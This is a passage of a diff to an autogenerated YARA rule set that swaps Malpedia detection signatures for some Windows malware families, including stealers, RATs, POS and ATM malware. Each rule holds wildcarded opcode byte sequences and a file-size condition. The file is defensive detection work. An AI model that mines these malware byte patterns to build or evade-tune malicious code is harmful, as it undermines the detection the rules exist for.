83c60c 8b7df4 8b4c0f0c 83f900 } - $sequence_53 = { 56 8b4510 8b4d0c 8b5508 befbffffff c600e8 } - $sequence_54 = { 51 8d4df8 51 ff75f8 50 6a03 } - $sequence_55 = { 39c7 0f97c7 08fb f6c301 89f0 8945a4 } - $sequence_56 = { 8b466c 5f 5e 5b 8be5 5d } - $sequence_57 = { 8b7020 8b7840 89c3 83c33c } - $sequence_58 = { 31f6 89720c 897208 897204 } - $sequence_59 = { 7519 33c9 0f1f4000 0fb6840c30010000 } - $sequence_60 = { ff15???????? 83f803 7405 83f802 751e } - $sequence_61 = { 743e 8b5c2430 85db 741d } - $sequence_62 = { 31c9 89e2 31f6 89720c } - $sequence_63 = { 33d2 c605????????00 0fb6d8 e8???????? } - $sequence_64 = { 8bf8 e8???????? eb04 8b7c2430 } - $sequence_65 = { e8???????? 84c0 7519 33c9 } - $sequence_66 = { 81fecd000000 7740 0fb6b62043e601 ff24b50443e601 884801 80ca04 } - $sequence_67 = { e9???????? 8b84248c000000 f20f10842490000000 31c9 } - $sequence_68 = { 89e8 894c247c 8b8c2480000000 01c8 83c1c0 } - $sequence_69 = { 744b 488d15583f0000 488bc8 e8???????? 4885c0 742f } - $sequence_70 = { 488b43f8 4c8d4be0 4889442428 8b03 498d55ff 4c8d05ce3f0000 89442420 } - $sequence_71 = { c744240400000000 8954240c e8???????? 8d0d2231d800 890424 } - $sequence_72 = { 53 57 56 83ec44 8b442454 8d0d5830d800 } - $sequence_73 = { dd5c2450 f20f10442450 8b442444 8b4838 } - $sequence_74 = { 8bcc 8bd0 895c2420 e8???????? 44 8bc3 48 } + $sequence_0 = { 5f 5e 8be5 5d c20400 8b7c240c 8d44244c } + $sequence_1 = { 50 e8???????? a1???????? 8bb858010000 83ff20 772c 68???????? } + $sequence_2 = { 745c 85d2 7458 56 8b7508 85f6 } + $sequence_3 = { 660f7f842460030000 660f7f842470030000 660f7f842480030000 f3ab b982000000 89842460060000 } + $sequence_4 = { 8b4708 2bca 83c0fb 03c1 894201 8d45c4 } + $sequence_5 = { 8bc1 b9???????? 50 e8???????? 8b4c2440 8bc1 803900 } + $sequence_6 = { 8d8548feffff 50 e8???????? a1???????? 8bb888010000 83ff1c 7731 } + $sequence_7 = { 0f88ce000000 8b15???????? b8???????? ff7750 8b7c2450 2bc2 8944245c } + $sequence_8 = { 6a01 e8???????? 8b55fc 8bc8 8b45f4 890c82 85c9 } + $sequence_9 = { 731a 8bd1 b9???????? e8???????? 85c0 0f88a7000000 8b74240c } condition: - 7 of them and filesize < 733184 + 7 of them and filesize < 155648 } -rule MALPEDIA_Win_Abcsync_Auto : FILE +rule MALPEDIA_Win_Anchor_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "02af896d-ede7-5659-a477-3d4aaff1c995" + id = "bb15263f-399c-5701-ae36-ae60623792e3" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.abcsync" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.abcsync_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.anchor" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.anchor_auto.yar#L1-L210" license_url = "N/A" - logic_hash = "1265b61a325fe240ea536a84f366a66df81cfa15aa46380fd4f4b2886a744626" + logic_hash = "00f136c31d3ac19e1483ba5e1be1e038dd18c931fe522c85d8ea96a7f9411021" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -137293,32 +136885,44 @@ rule MALPEDIA_Win_Abcsync_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488b15???????? 41be2c010000 33c9 458bc6 ff15???????? 488b15???????? 4533e4 } - $sequence_1 = { 8d4108 410fb64c1a07 4898 422a0c18 b81f85eb51 } - $sequence_2 = { ba01000000 85c9 7e13 8bc1 0f1f840000000000 c1e204 } - $sequence_3 = { 4c63c2 488bcb 33d2 e8???????? 8b542454 418bfc 4c8b35???????? } - $sequence_4 = { 488d4c2420 c74424205c595f6a c74424245c653601 e8???????? 488905???????? 488b4c2428 } - $sequence_5 = { 2bc8 8d411c 4898 420fb60c18 410fb7441a36 662bc1 418d491d } - $sequence_6 = { 488d057d3b0100 488945e0 895128 488d0d17950000 488b45d8 488908 488d0d69200100 } - $sequence_7 = { 75d4 0f1101 498bd1 0f114110 0f114120 0f114130 0f114140 } - $sequence_8 = { 03d0 6bc232 2bc8 8d4116 420fb64c13fb 4898 422a0c18 } - $sequence_9 = { 2bc8 8d4121 420fb64c13fe 4898 422a0c18 } + $sequence_0 = { c6400365 eb0a 66c74001646c c640036c } + $sequence_1 = { 740c 66c740016578 c6400365 eb0a } + $sequence_2 = { 8bf8 f7e6 0f90c1 f7d9 0bc8 51 e8???????? } + $sequence_3 = { c1e102 51 6a00 50 a3???????? e8???????? } + $sequence_4 = { b001 5d c3 e9???????? 6a0c 68???????? e8???????? } + $sequence_5 = { 66894818 33c9 8b4608 6689581a 8b4608 5b } + $sequence_6 = { 33c9 8b461c 6689781a 8b461c 5f } + $sequence_7 = { 50 56 e8???????? 83bde8feffff10 8d85d4feffff } + $sequence_8 = { b101 e8???????? e8???????? 84c0 } + $sequence_9 = { 0bc1 4898 488d0d12920200 488b5528 } + $sequence_10 = { 4889842440140000 488bd9 4c63d2 498bc2 418be9 48c1f806 488d0db8020100 } + $sequence_11 = { 03c2 c1f802 6bc003 894504 } + $sequence_12 = { 034524 3b8520010000 760c c785f400000001000000 } + $sequence_13 = { 4881e9c0000000 48c1e108 4803c8 8bc1 488d9405bf090000 eb0c 8bc7 } + $sequence_14 = { 0bc1 488b4d48 8801 488b4548 } + $sequence_15 = { 03c8 8bc1 8985a4000000 488d8da8010000 } + $sequence_16 = { 498bcf e8???????? 498bc7 488b8d90000000 } + $sequence_17 = { 7ce8 488b4350 4903d1 b945000000 66890c50 } + $sequence_18 = { 488bfa 7203 488b3a ba20000000 488bcf e8???????? 33db } + $sequence_19 = { 00040f 830905 0000 83bd641a0000ff } + $sequence_20 = { 05e0930400 894544 8b5544 488b4508 } + $sequence_21 = { 0000 83bd641a0000ff 0f85fc040000 c6859412000000 } condition: - 7 of them and filesize < 348160 + 7 of them and filesize < 778240 } -rule MALPEDIA_Win_Iconic_Stealer_Auto : FILE +rule MALPEDIA_Win_Bunitu_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7673e219-b974-5ee5-b8e5-79ce461f9ab7" + id = "ad5c884d-40cc-596d-af5c-643847feb65b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.iconic_stealer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.iconic_stealer_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bunitu" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bunitu_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "5bc33a8c1cdbea6882940424bec9a55b2f154b2fa412fc3e5ed34989f79a9444" + logic_hash = "4579187f29545393632699d1b30240f12e5e7855e0bb344d18579a744895ea25" score = 75 quality = 75 tags = "FILE" @@ -137332,32 +136936,32 @@ rule MALPEDIA_Win_Iconic_Stealer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ebc9 4885f6 740f ba68000000 488bce e8???????? eb0a } - $sequence_1 = { 498b4a18 8b4148 034144 7912 458bc6 498bd2 e8???????? } - $sequence_2 = { ff8bdc000000 c687c500000003 40387367 7407 c7473407000000 b805000000 394734 } - $sequence_3 = { e9???????? f7430400000001 488b0e 4489642454 48894c2468 4c896598 0fb64164 } - $sequence_4 = { e9???????? 41f7450400000100 0f8480020000 4889bc2458010000 498b3e 4c396648 7414 } - $sequence_5 = { e8???????? 488be8 4885c0 0f849d020000 80783f02 0f8493020000 488b542438 } - $sequence_6 = { ff15???????? 85c0 0f8494000000 39bc2480000000 0f8487000000 498bd6 4c8d1d8d6c0300 } - $sequence_7 = { b8e08004e0 48094330 44896374 4c89a378020000 4c89a370020000 4c89a380020000 4c89a330020000 } - $sequence_8 = { 744d 4c8bc1 eb48 4c8d442440 4889742440 488d150c780300 4489742448 } - $sequence_9 = { 4d85c0 741a 410fb74010 6685c0 7f05 6603c8 eb0b } + $sequence_0 = { c70003000000 ff75f0 8f4004 ff75ec 8f4008 8bc8 } + $sequence_1 = { ff15???????? 59 5d 5a } + $sequence_2 = { 6a00 50 ff15???????? 6a00 68e8030000 ff15???????? 33c0 } + $sequence_3 = { aa 5a 5f 5e 42 5b } + $sequence_4 = { 6800000100 50 51 6800080000 6a00 } + $sequence_5 = { 8b85d8feffff 898538fdffff 6a10 8d8d34fdffff 51 ffb528fdffff ff15???????? } + $sequence_6 = { 668b85dcfeffff b901190000 49 663bc1 } + $sequence_7 = { 50 53 8d85caf7ffff 50 e8???????? } + $sequence_8 = { 837df000 7614 6a02 ff75f0 ff15???????? ff75f0 } + $sequence_9 = { 8dbd58feffff b91c000000 33c0 f3aa e8???????? 8945fc } condition: - 7 of them and filesize < 2401280 + 7 of them and filesize < 221184 } -rule MALPEDIA_Win_Slothfulmedia_Auto : FILE +rule MALPEDIA_Win_Ziyangrat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "12866e57-5c22-5ece-ab6b-edebb824500e" + id = "ad05acb3-2122-508e-96e1-44a0677aa226" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.slothfulmedia" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.slothfulmedia_auto.yar#L1-L175" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ziyangrat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ziyangrat_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "8cdce0e96c9b360c003407b809360fea7e440aeaa30b884d65090695657af8b0" + logic_hash = "89f077d6fe657db2420d0ceec203b172ff92ec6b640db30714a01b0a429a9ae6" score = 75 quality = 75 tags = "FILE" @@ -137371,38 +136975,32 @@ rule MALPEDIA_Win_Slothfulmedia_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8365f000 837d1400 53 56 57 0f86a0000000 8b5d10 } - $sequence_1 = { 68df3d7a6b 50 e8???????? 57 ff15???????? 57 } - $sequence_2 = { d1f8 8b45fc 7505 b8???????? 50 57 } - $sequence_3 = { 397df4 0f8640ffffff 8b4508 e8???????? cc 55 8bec } - $sequence_4 = { 33c0 eb17 57 ff750c } - $sequence_5 = { ff7320 6a00 6a00 ffb33c020000 ff15???????? 8945f8 } - $sequence_6 = { ff7514 56 ff15???????? 56 ff15???????? 8b4508 eb02 } - $sequence_7 = { 1bd2 83daff 85d2 7422 83f805 761f } - $sequence_8 = { ff15???????? 8b8c2410020000 5f 5e 33cc } - $sequence_9 = { 6689442414 e8???????? 83c40c 6a00 ff15???????? 8b35???????? 8b3d???????? } - $sequence_10 = { 83c40c 6804010000 8d44240c 50 6a00 } - $sequence_11 = { 85c0 7507 ffd7 83f805 74ee 6804010000 } - $sequence_12 = { 8b35???????? 8b3d???????? 90 68???????? ffd6 85c0 } - $sequence_13 = { 8d4c2410 51 ff15???????? 8b8c2410020000 } - $sequence_14 = { e8???????? 81c40c020000 c21000 3b0d???????? 7502 } - $sequence_15 = { 6804010000 8d54240c 6a00 52 e8???????? 83c40c } + $sequence_0 = { 33c0 8dbc2421140000 889c2420140000 f3ab } + $sequence_1 = { 50 ff15???????? 85c0 751d ff15???????? 50 56 } + $sequence_2 = { 7560 55 6800040000 ff15???????? 55 8d842468010000 } + $sequence_3 = { 0f841b010000 81fe4c4f0000 0f87e6000000 8b4c2424 8d542414 83e110 } + $sequence_4 = { 33c0 8d7c2409 8bb4240c040000 f3ab 66ab 56 6a00 } + $sequence_5 = { 7e95 ffd5 8bf0 89742430 } + $sequence_6 = { 83f810 0f85a6000000 8b7304 81fe00500000 0f8f97000000 85f6 0f8c8f000000 } + $sequence_7 = { 33c0 8dbc2411010000 889c2410010000 f3ab 66ab aa b91f000000 } + $sequence_8 = { 8db424c0190000 f2ae f7d1 49 bf???????? 8bd1 c1e902 } + $sequence_9 = { 50 c68424fb00000061 c68424fc00000074 c68424fd00000061 889c24fe000000 c684240801000053 c684240901000079 } condition: - 7 of them and filesize < 122880 + 7 of them and filesize < 188416 } -rule MALPEDIA_Win_Socelars_Auto : FILE +rule MALPEDIA_Win_Pwnpos_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3509baee-4e8c-59b5-b156-e68f4beae715" + id = "1f880853-80ef-5ec2-a31a-31cd2006dc43" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.socelars" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.socelars_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pwnpos" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pwnpos_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "a3ac10f2bb04512e9390a5496d935cded9fb0eddb2b0634c3c4f320efa071722" + logic_hash = "145bb3fa97da57220c104891d855f912aebbcf21962d1405b1589dc2cce60605" score = 75 quality = 75 tags = "FILE" @@ -137416,32 +137014,32 @@ rule MALPEDIA_Win_Socelars_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b8b88000000 394830 7f1c 8b542430 8bcb 6a00 52 } - $sequence_1 = { 8b432c 035514 40 837d1800 89432c 8b4f04 894c2424 } - $sequence_2 = { e8???????? 83c40c 894590 8b4d90 51 8d4d98 e8???????? } - $sequence_3 = { 8b55b8 83c202 3b5524 7735 8b4520 0345b8 0fbe08 } - $sequence_4 = { e8???????? c745fc00000000 8b5510 2b550c 8955d4 837dd400 766d } - $sequence_5 = { ff15???????? 83c404 8b4e68 85c9 7414 0fb7868c000000 3bf8 } - $sequence_6 = { ffd0 83c404 85c0 7417 b80a000000 5f 5e } - $sequence_7 = { ff75f4 03c6 89461c ff712c 50 e8???????? 8b4dfc } - $sequence_8 = { e9???????? 83cbff 8b4db8 83790400 0f8579ffffff c745a000000000 c7410401000000 } - $sequence_9 = { 8b7c2448 99 03f8 13ca 83c70a 897c2448 83d100 } + $sequence_0 = { 68???????? bb0b000000 52 899c2468020000 e8???????? 83c40c } + $sequence_1 = { 8b07 8b4004 3974380c 750f 8b44383c 3bc6 7407 } + $sequence_2 = { 8bf0 33db 83c404 3bf3 742d 8d4e18 c7460401000000 } + $sequence_3 = { 8d4df0 e8???????? 8b4d0c 895dfc 8b5f30 51 c745ec01000000 } + $sequence_4 = { 51 53 56 52 50 8d4c243c 51 } + $sequence_5 = { 8b4d08 83c118 e9???????? 8b4d08 83c118 e9???????? } + $sequence_6 = { 720f 8b95a0f9ffff 52 e8???????? 83c404 b001 8b4df4 } + $sequence_7 = { 57 57 57 57 57 8d85d8f9ffff 50 } + $sequence_8 = { c705????????80b24300 c3 c705????????80b24300 c3 } + $sequence_9 = { 0f871c020000 ff248dc86f4300 8d48cf 80f908 7706 } condition: - 7 of them and filesize < 2151424 + 7 of them and filesize < 638976 } -rule MALPEDIA_Win_Croxloader_Auto : FILE +rule MALPEDIA_Win_Protonbot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "74969832-3646-5c22-9967-7e8cb3d178d9" + id = "2a60cbb5-df76-51a1-aa18-1e35bc0d84b0" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.croxloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.croxloader_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.protonbot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.protonbot_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "5587745f089fbff18eabf5b798d40f2503c06a9701158cb607e6e154e3ca0b65" + logic_hash = "dd56b01eb6c4f05df12eaa91d84ffe14ac197bb00fbf288295bd9f5385f33352" score = 75 quality = 75 tags = "FILE" @@ -137455,34 +137053,34 @@ rule MALPEDIA_Win_Croxloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488d4e18 41b801010000 e8???????? 418bc6 4d8d4d10 4c8d3d901d0100 } - $sequence_1 = { 4156 4157 488b05???????? 4d8bf8 448bf2 8bf1 4885c0 } - $sequence_2 = { 498bce ff15???????? 488bd8 eb02 33db 4c8d358d93ffff 4885db } - $sequence_3 = { 48c7c1ffffffff ff15???????? 488bbc2480030000 488b8c2460030000 } - $sequence_4 = { 4c8d052aad0000 488bf9 488d1528ad0000 b904000000 e8???????? 8bd3 488bcf } - $sequence_5 = { 4883ec20 448bf9 4c8d356e94ffff 4d8be1 } - $sequence_6 = { 48895c2408 57 4883ec20 488d1d5f290100 488d3d58290100 eb12 488b03 } - $sequence_7 = { 33db 4c8d358d93ffff 4885db 750d } - $sequence_8 = { 410f42d0 6bdb21 0fb6d2 03da 48ffc0 ebd6 8bc8 } - $sequence_9 = { 803d????????00 754c 488d0db41e0100 48890d???????? 488d05661b0100 488d0d8f1d0100 488905???????? } + $sequence_0 = { ff15???????? ffb5f4feffff ff15???????? 8d8dfcfeffff } + $sequence_1 = { ffd3 85ff 8bbdf4fffeff 7f8d 5e } + $sequence_2 = { 51 52 8d8da4feffff e8???????? 6a00 6aff 6a00 } + $sequence_3 = { 83bda0feffff10 8d8d8cfeffff 56 0f438d8cfeffff 6a00 51 6a00 } + $sequence_4 = { 6a00 8b18 899df8fffeff e8???????? 83c410 } + $sequence_5 = { ff7508 e8???????? 83c410 5d c3 6a1c b8???????? } + $sequence_6 = { 57 50 8d45f4 64a300000000 8d8dbcfeffff e8???????? } + $sequence_7 = { 837e1410 8955a0 8bc6 7202 8b06 8d1438 8b45a0 } + $sequence_8 = { e8???????? 83c418 c645fc01 8d85bcfeffff } + $sequence_9 = { ff15???????? 56 85c0 7404 ffd7 eb02 ffd3 } condition: - 7 of them and filesize < 241664 + 7 of them and filesize < 1073152 } -rule MALPEDIA_Win_Final1Stspy_Auto : FILE +rule MALPEDIA_Win_Vidar_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6b262f1e-6f1a-5a41-853b-26929c3926c7" + id = "a2b64f61-0adb-5b11-ad23-70455bcfca7c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.final1stspy" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.final1stspy_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vidar_auto.yar#L1-L603" license_url = "N/A" - logic_hash = "2890f444efdd6c719c6ff20f4502542398a3dec68f7c2fb262ec6568139d72d6" + logic_hash = "33908c4a5b34fe0467be14ef9b31f306540934b8f5c348e181dd6ed65da6d436" score = 75 - quality = 75 + quality = 50 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -137494,32 +137092,93 @@ rule MALPEDIA_Win_Final1Stspy_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 80c27a 80f219 881439 41 3bce 7cef 8bc7 } - $sequence_1 = { 8bd6 0f281d???????? 2bd0 0f10040f 0f28ca 660ffcc2 } - $sequence_2 = { 8a4803 c1e206 80f93d 7508 47 83ff03 } - $sequence_3 = { 5d c3 2d???????? 78b0 03d0 8b45fc 8a4803 } - $sequence_4 = { 7508 47 83ff03 7d3e } - $sequence_5 = { 7410 8a11 8acb 3aca } - $sequence_6 = { 81e7ff070080 7908 4f 81cf00f8ffff } - $sequence_7 = { 81cf00f8ffff 47 33f6 85ff 7e0a e8???????? } - $sequence_8 = { 84db 7410 8a11 8acb 3aca 7425 8a4801 } - $sequence_9 = { c3 2d???????? 78dc 8b55fc b9???????? } + $sequence_0 = { 25ff7f0000 c3 e8???????? 8b486c } + $sequence_1 = { 7202 8b00 8d8d68fdffff 51 50 } + $sequence_2 = { 8b8648af0100 c1e803 038644af0100 5e 5d c3 } + $sequence_3 = { 56 8b742408 8b865caf0100 57 } + $sequence_4 = { 8b7508 33ff 89b55cfdffff 89bd60fdffff 8d450c } + $sequence_5 = { e8???????? d9450c 51 8d8d58ffffff d91c24 } + $sequence_6 = { 8b7508 33db 895dd0 c746140f000000 895e10 8975cc } + $sequence_7 = { d9e0 d99d00ffffff d98500ffffff d91c24 } + $sequence_8 = { 740a b800000500 e9???????? 57 } + $sequence_9 = { 5f c6043300 8bc6 5e 5b c20400 } + $sequence_10 = { 895dfc e8???????? 83781408 c645fc01 } + $sequence_11 = { b800020000 e9???????? 8b4dc8 33c0 } + $sequence_12 = { 5e c20400 ff742408 e8???????? 59 83f8ff } + $sequence_13 = { c745f41e000000 c745f80f000000 8955fc 8bcb } + $sequence_14 = { e8???????? 56 53 8d4d80 e8???????? } + $sequence_15 = { ff15???????? 89460c 3bc3 7507 } + $sequence_16 = { f3a5 8d88e00e0000 894de4 8bcb } + $sequence_17 = { e8???????? 59 83f8ff 7503 32c0 c3 } + $sequence_18 = { 83781410 7202 8b00 50 8b45a0 } + $sequence_19 = { c1e004 8bf0 0fbe4301 50 } + $sequence_20 = { c9 c3 8b542408 85d2 7503 33c0 c3 } + $sequence_21 = { 53 68???????? 6802000080 ff15???????? 85c0 751b } + $sequence_22 = { 50 ff15???????? 8b4da0 8901 85c0 } + $sequence_23 = { 50 6a09 53 68???????? } + $sequence_24 = { 0fb605???????? 50 0fb605???????? 50 0fb605???????? 50 6a01 } + $sequence_25 = { 68???????? e8???????? 59 83f820 } + $sequence_26 = { 395df0 7411 ff75f0 53 } + $sequence_27 = { 53 50 899e6caf0600 e8???????? } + $sequence_28 = { 53 68???????? 8d8da8000000 e8???????? } + $sequence_29 = { 895df0 8d45f0 50 6a09 } + $sequence_30 = { 399e70af0600 7514 c78678af060001000000 c78670af060000000100 68fcff0100 8d8670af0400 53 } + $sequence_31 = { 7411 395df0 740c ff75f0 ff15???????? 895df0 } + $sequence_32 = { 741d ff75f0 ff15???????? 895df0 395df0 740c ff75f0 } + $sequence_33 = { c3 55 8bec 83ec0c 8365fc00 8365f400 8365f800 } + $sequence_34 = { 8d852cffffff 50 8d459c 50 } + $sequence_35 = { 0faf450c 50 e8???????? 59 } + $sequence_36 = { 8b4508 8906 8b450c 894608 8b4510 } + $sequence_37 = { e8???????? c9 c3 55 8bec 83ec18 8b450c } + $sequence_38 = { 8910 8b4120 8910 8b4130 8910 c3 56 } + $sequence_39 = { 50 ff15???????? 6a1a e8???????? } + $sequence_40 = { 6860ea0000 6a00 ff15???????? 50 } + $sequence_41 = { 5f c21000 8bff 55 8bec 6a0a } + $sequence_42 = { 5b 5d c3 b84d5a0000 } + $sequence_43 = { 83f8ff 740c a810 7508 } + $sequence_44 = { eb0b 8b45f4 0500040000 8945f4 } + $sequence_45 = { dd1c24 6a0b 6a10 e8???????? 83c41c 8be5 } + $sequence_46 = { 4c8bc7 33d2 488bc8 ff15???????? e8???????? } + $sequence_47 = { dd45f0 dd1c24 83ec08 dd4508 dd1c24 6a0b 6a10 } + $sequence_48 = { 492bc1 483d40420f00 0f87f0000000 458bc7 } + $sequence_49 = { 2bd3 03ca 4103cb 0f84de010000 4863442440 33d2 440fb6743001 } + $sequence_50 = { 83bc24a400000000 b8ea22c8aa b9a5a0bab6 0f44c1 } + $sequence_51 = { f30fe6c9 f20f58c0 f20f5cc8 f20f59ce f20f114c2458 0fbe05???????? 0fbe0d???????? } + $sequence_52 = { 83bc249400000000 b9ed1334e4 b8302e84ed 0f4fc8 e9???????? 8b8c248c000000 } + $sequence_53 = { 8bd7 8bc5 83ee04 7211 8b0a } + $sequence_54 = { 83bc249c00000000 bf9def53cd b8a3d8a22f 0f4ff8 } + $sequence_55 = { 83bc24a004000000 b9e2dadbde 0f8408ffffff b95fc85b65 } + $sequence_56 = { 492bc3 493bc2 7708 41ffc0 } + $sequence_57 = { 2bc1 f2480f2ac0 f20f59442458 f20f2cc0 894590 4863442440 } + $sequence_58 = { 492bc2 483bc1 770c 41ffc1 } + $sequence_59 = { 83bc24a007000000 b8c00c462f b92fb31014 0f44c8 } + $sequence_60 = { 8bd8 33da 80f101 898c2484000000 } + $sequence_61 = { 8bd8 23d1 8b149518d54600 c1eb08 } + $sequence_62 = { 0f57c0 f2480f2ac2 33d2 f20f59c8 f20f114c2450 0fbe05???????? } + $sequence_63 = { 492bd1 4e8d0436 6666660f1f840000000000 410fb60408 } + $sequence_64 = { 0fbe0d???????? 3bc1 7429 0fbe0d???????? 0fafcf 8d0449 } + $sequence_65 = { 0fbec8 0f57d2 0fbe05???????? 8d14d1 0fbe0d???????? 03c2 } + $sequence_66 = { 4923c2 493bc3 7742 488bc2 4923c2 493bc3 } + $sequence_67 = { 83bc249400000003 0f9c442460 8b05???????? 8d4801 } + $sequence_68 = { 0f8c0d230000 488b7c2440 8b742450 488d0d1c700200 e8???????? 488d8d10030000 ff15???????? } + $sequence_69 = { 83bc24980000000e 0f9c442464 8b05???????? 8d4801 } + $sequence_70 = { 83bc24980000000f b9fe4381ca b800af166b 0f4cc8 } condition: - 7 of them and filesize < 557056 + 7 of them and filesize < 4751360 } -rule MALPEDIA_Win_Wannahusky_Auto : FILE +rule MALPEDIA_Win_Atmitch_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "36a1577e-36ff-5776-bdb4-d895a2d2a50b" + id = "40b30c3c-57b4-5224-a4e5-a107d24cada9" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wannahusky" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wannahusky_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.atmitch" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.atmitch_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "5ceb031e7aa4de1c7907749dee4ed5beefedb2e46a515067de310b2cbc83c4b9" + logic_hash = "71ef7f74c9366c16202f9b9ae280ad39b24b004194d9f9aea8b4282ba76a3264" score = 75 quality = 75 tags = "FILE" @@ -137533,32 +137192,32 @@ rule MALPEDIA_Win_Wannahusky_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c605????????02 c705????????60b04100 c705????????18000000 c705????????04000000 } - $sequence_1 = { 7408 8bbdf0faffff 8b0f 89442404 } - $sequence_2 = { ba28020000 8d8d98fbffff e8???????? 8d8500fbffff c744240810000000 } - $sequence_3 = { 83c008 c744240401000000 890424 ff15???????? 89ca } - $sequence_4 = { c705????????04000000 c705????????a0464200 c705????????e01c4100 c705????????f0b34100 c705????????00000000 } - $sequence_5 = { c705????????04000000 66c705????????2b03 c705????????18000000 c705????????04000000 c605????????11 c705????????80bb4100 } - $sequence_6 = { c785fcfaffff00000000 8b480c e8???????? ba01000000 8d8dfcfaffff 8985fcfaffff e8???????? } - $sequence_7 = { e8???????? 8b45cc 3b45c0 7218 8b7dc0 890424 } - $sequence_8 = { 56 53 83ec6c 8955c0 807d0800 ba???????? } - $sequence_9 = { c705????????08b44100 c705????????00000000 c705????????04000000 c705????????04000000 66c705????????1903 c605????????01 } + $sequence_0 = { 7407 8b542418 895004 837c242400 740c 8b442420 50 } + $sequence_1 = { ff15???????? 8d4c2414 ff15???????? 8d4c2410 ff15???????? } + $sequence_2 = { ff15???????? c744242000000000 833d????????02 7f05 e8???????? a1???????? } + $sequence_3 = { 8b4818 83c408 51 51 8bcc 8964241c } + $sequence_4 = { 50 680300020b ff15???????? 8d4c240e 51 51 8bcc } + $sequence_5 = { c645fc01 8b06 8b4804 8b443110 25c0010000 } + $sequence_6 = { 6aff 8d4c2414 ff15???????? 6a00 6a0a 8d4c2418 ff15???????? } + $sequence_7 = { 8bf8 83c404 33c9 33d2 33c0 6a11 } + $sequence_8 = { 8bcc 89642410 68???????? ff15???????? e8???????? 83c404 a1???????? } + $sequence_9 = { 8b0e 0fb7412c 83c408 83f809 774d ff2485f4200010 b8???????? } condition: - 7 of them and filesize < 862208 + 7 of them and filesize < 73728 } -rule MALPEDIA_Win_Kiwistealer_Auto : FILE +rule MALPEDIA_Win_Lurk_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7bc76ddb-b6a4-53dd-88a7-f41bc1cc2494" + id = 